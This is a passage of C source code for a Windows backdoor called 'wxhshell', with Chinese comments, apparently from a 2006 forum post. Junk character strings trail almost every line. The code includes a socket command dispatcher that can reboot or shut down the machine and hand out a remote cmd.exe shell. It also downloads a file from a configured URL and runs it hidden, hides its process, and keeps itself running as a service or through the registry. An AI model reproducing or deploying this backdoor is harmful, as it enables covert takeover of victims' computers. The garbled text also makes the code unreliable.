  // 帮助 AhiZ0W"  
  case '?': { )g(2xUk-y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /}]X3ng  
    break; ~^w;`~L  
  } v%VCFJ  
  // 安装 oJvF)d@gU  
  case 'i': { (iIJ[{[H4)  
    if(Install()) Z; r}G m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0jro0f'  
    else q{[}*%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p>96>7w  
    break; X0* y8"  
    } ]<WKi=  
  // 卸载 7ZI!$J|  
  case 'r': { A=Q"IdK  
    if(Uninstall()) L ![bf5T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aqK<}jy  
    else {()8 W r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .-k\Q} D  
    break; P`v%< 9~  
    } .\7R/cP}{A  
  // 显示 wxhshell 所在路径 5Y"JRWC  
  case 'p': { Ie`kzssM  
    char svExeFile[MAX_PATH]; Y4YA1F  
    strcpy(svExeFile,"\n\r"); C%85Aq*4  
      strcat(svExeFile,ExeFile); .ZJt  
        send(wsh,svExeFile,strlen(svExeFile),0); WJ9Jj69  
    break; O~.A}  
    } M~t S *  
  // 重启 \SkCsE#H  
  case 'b': { m jC6(?V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hR Y *WL  
    if(Boot(REBOOT)) #qi@I;;t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [W--%=Ou  
    else { ;Ebpf J  
    closesocket(wsh); c]3^2Ag,  
    ExitThread(0); W't.e0L<6  
    } ?t"bF:!  
    break; |7:{vA5  
    } 9 :FzSD  
  // 关机 G}0fk]%\:  
  case 'd': { 'k!V!wcD^y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /GU%{nT  
    if(Boot(SHUTDOWN)) Ku<_N]9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A]%hM_5s  
    else { Xb5 $ijH  
    closesocket(wsh); .,( ,<  
    ExitThread(0); Z<~^(W7h  
    } nyr)d%I{  
    break; * ~4m!U_s  
    } QAK.Qk?Qu  
  // 获取shell Jm {~H%  
  case 's': { cwKOE?!  
    CmdShell(wsh); 'P,F)*kh  
    closesocket(wsh); Bg0 aLU)[  
    ExitThread(0); ey3;rY1  
    break; ,';+A{aV  
  } xrky5[XoD  
  // 退出 Co^a$K  
  case 'x': { ^"\., Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?$\y0lHw/7  
    CloseIt(wsh); C%+>uzVIw  
    break; _(\\>'1q!  
    } T7.u7@V2  
  // 离开 G r;~P*  
  case 'q': { uhLg2G^h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]&ptld;  
    closesocket(wsh); n~d`PGs?f  
    WSACleanup(); xUD$i?3z  
    exit(1); ^IGTGY]s  
    break; >P=xzg79  
        } "A:wWb<m  
  } Tj{!Fx^H  
  } ~^"cq S(  
#1zWzt|DW  
  // 提示信息 #U&G$E`7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #V8='qD  
} 00G[ `a5  
  } ^aZ Wu|p  
<!zItFMD[m  
  return; nu$LWC-  
} Drlt xI)  
j86s[Dty  
// shell模块句柄 ;<q@>p[  
int CmdShell(SOCKET sock) DoPm{055J  
{ \+MR`\|3  
STARTUPINFO si; +X;6%O;  
ZeroMemory(&si,sizeof(si)); eOn,`B1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YQN=.Wtc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8XJ%Yuu  
PROCESS_INFORMATION ProcessInfo; BJj~fNm1Zr  
char cmdline[]="cmd"; @R2|=ox  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _k sp;kH?)  
  return 0; m2|0<P@k!  
} [1nI%/</>  
lGLZIp  
// 自身启动模式 X\%],"9%  
int StartFromService(void) Y\p yl  
{ ?o.G@-  
typedef struct q]Qgg  
{ I;-{#OE,  
  DWORD ExitStatus; (Z,,H1L  
  DWORD PebBaseAddress; KH KqE6  
  DWORD AffinityMask; LOida#R  
  DWORD BasePriority; Tz*5;y%4  
  ULONG UniqueProcessId; c>UITM=!I  
  ULONG InheritedFromUniqueProcessId; RPiCXpJv&  
}   PROCESS_BASIC_INFORMATION; e#'`I^8l  
s*l_O* $'  
PROCNTQSIP NtQueryInformationProcess; 7GP?;P  
fRa1m?%s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6U /wFT!7$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]owH [wvX  
;JmD(T7{  
  HANDLE             hProcess; H7SqM D*y9  
  PROCESS_BASIC_INFORMATION pbi; Xj-3C[ 8@  
kcYR:;y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S,8zh/1y  
  if(NULL == hInst ) return 0; |M K-~ep  
DSjo%Brd-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yQx>h6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GS{9MGl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]DUH_<3"E  
KcU,RTE  
  if (!NtQueryInformationProcess) return 0; NfO0^^"  
~0}eNz*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u51/B:+   
  if(!hProcess) return 0; F@I_sGCcb  
R #ZDB]2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b]Y,& 8}[+  
=az$WRV+7!  
  CloseHandle(hProcess); w}1)am &pD  
Ml3F\ fAW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~xJD3Qf  
if(hProcess==NULL) return 0; K7l{&2>?  
;4_n:XUgo;  
HMODULE hMod; 1Jd:%+T  
char procName[255]; UF{2Gx  
unsigned long cbNeeded; 67g/(4&  
dG rA18  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UB1/FM4~  
kU Flp  
  CloseHandle(hProcess); Ww p^dx`!  
bCrB'&^t  
if(strstr(procName,"services")) return 1; // 以服务启动 fU}w81oe  
Qm-P& g-  
  return 0; // 注册表启动 &q U[ wn:1  
} 1)R)+`y  
'I~dJEW7  
// 主模块 :d#NnR0^L  
int StartWxhshell(LPSTR lpCmdLine) b#m47yTW9<  
{  @bx2=  
  SOCKET wsl; lV 9q;!/1  
BOOL val=TRUE; yS43>UK_W+  
  int port=0; ,J^Op   
  struct sockaddr_in door; eXd(R>Mx  
2ya`2 m  
  if(wscfg.ws_autoins) Install(); CQ`(,F3(  
s`B'vyoaa  
port=atoi(lpCmdLine); p\WUk@4  
?MYD}`Cv  
if(port<=0) port=wscfg.ws_port; Dpd$&Wr0Y  
yU.0'r5uR  
  WSADATA data; _~kcr5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x\DkS,O  
{<2Zb N?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q{ hq.KZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7q2YsI  
  door.sin_family = AF_INET; J]0#M:w&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kv]6 b2HT  
  door.sin_port = htons(port); {dwV-qz  
$-RhCnE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3EvA 5K.  
closesocket(wsl); +7^Ul6BB#K  
return 1; ,ln uu  
} ?5Fj]Bk]  
WI6E3,ejB1  
  if(listen(wsl,2) == INVALID_SOCKET) { _iu|*h1y  
closesocket(wsl); ?N ga  
return 1; 1aE/_  
} i[pf*W0g  
  Wxhshell(wsl); $<4Ar*i  
  WSACleanup(); {yHfE,  
8ilbX)O  
return 0; r!^\Q7  
}gW/heUE  
} ~@D%qbN  
)^N8L<   
// 以NT服务方式启动 v8Zg og)V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1Ol]^ 'y7)  
{ Wts{tb  
DWORD   status = 0; 1Q SIZoK7  
  DWORD   specificError = 0xfffffff; s vb4uvY  
k+[KD>;1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jtv Q<4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !&O/7ywe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j/D)UWkR  
  serviceStatus.dwWin32ExitCode     = 0; DA$Q-  
  serviceStatus.dwServiceSpecificExitCode = 0; 2\{uq v  
  serviceStatus.dwCheckPoint       = 0; Vb^s 'k  
  serviceStatus.dwWaitHint       = 0; Iv72;ZCh?6  
~8t}*oV   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &ORv bnd6  
  if (hServiceStatusHandle==0) return; ~f10ZB_k>'  
2ZbY|8X$r  
status = GetLastError(); 9/daRq$  
  if (status!=NO_ERROR) @ P"`=BU&  
{ HwW[M[qA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v?D kDnta  
    serviceStatus.dwCheckPoint       = 0; #)mkD4  
    serviceStatus.dwWaitHint       = 0; {0vbC/?]  
    serviceStatus.dwWin32ExitCode     = status; h2|vB+W-  
    serviceStatus.dwServiceSpecificExitCode = specificError; wYQ1Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R%N#G<^R  
    return; |uQn|"U4  
  } \ &eY)^vw  
zVp[YOS&c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jHkyF`<+  
  serviceStatus.dwCheckPoint       = 0; S KB@  
  serviceStatus.dwWaitHint       = 0; ;eS;AHZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~u_K& X  
} ax-=n(   
hr J$%U  
// 处理NT服务事件,比如:启动、停止 S2koXg(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Du)B9s  
{ .K $p`WQ{  
switch(fdwControl) ILNE 4n  
{ ;])I>BT[  
case SERVICE_CONTROL_STOP: "\NF  
  serviceStatus.dwWin32ExitCode = 0; x*:n4FZ7b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^/G?QR  
  serviceStatus.dwCheckPoint   = 0; gs$3)t  
  serviceStatus.dwWaitHint     = 0; )URwIe{  
  { #o"tMh!f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]a8eDy  
  } }'u3U"9)  
  return; S*;#'j)4+  
case SERVICE_CONTROL_PAUSE: %(fL?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [0K=I64 z  
  break; )m|C8[u  
case SERVICE_CONTROL_CONTINUE: X d!Cp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QyTh!QM~`  
  break; "_t4F4z  
case SERVICE_CONTROL_INTERROGATE: i"/r)>"b  
  break; r i,2clp  
}; Mk<m6E$L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KUbJe)}g  
} VIetcs  
 -W9gH  
// 标准应用程序主函数 $%B5$+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ny]lvgu9X  
{ !f@XDW&R  
u9BjgK(M  
// 获取操作系统版本 % ^e@`0L  
OsIsNt=GetOsVer(); CNq[4T'~A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Jlz9E|*qV  
rJX\6{V!_  
  // 从命令行安装 uO"y`$C$_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2av*o~|J*:  
?x'w~;9R/  
  // 下载执行文件 ,^HS`!s[ E  
if(wscfg.ws_downexe) { L(;.n>/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o7J{+V  
  WinExec(wscfg.ws_filenam,SW_HIDE); mLQUcYfR  
} loLKm]yV  
/ xs9.w8-  
if(!OsIsNt) { j|k @MfA  
// 如果时win9x,隐藏进程并且设置为注册表启动 (xbIUz.  
HideProc(); J,9%%S8/C  
StartWxhshell(lpCmdLine); eJW[ ]!  
} Jb9F=s+  
else ;KL9oV!<f  
  if(StartFromService()) 9Eu #lV  
  // 以服务方式启动 oikxg!0S  
  StartServiceCtrlDispatcher(DispatchTable); BO]=vH  
else  J+lGh9G  
  // 普通方式启动 F'rt>YvF  
  StartWxhshell(lpCmdLine); 8nodV 9  
h^Qh9G0dn  
return 0; -IbbPuRq  
}
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只看该作者 1 发表于: 2006-10-10
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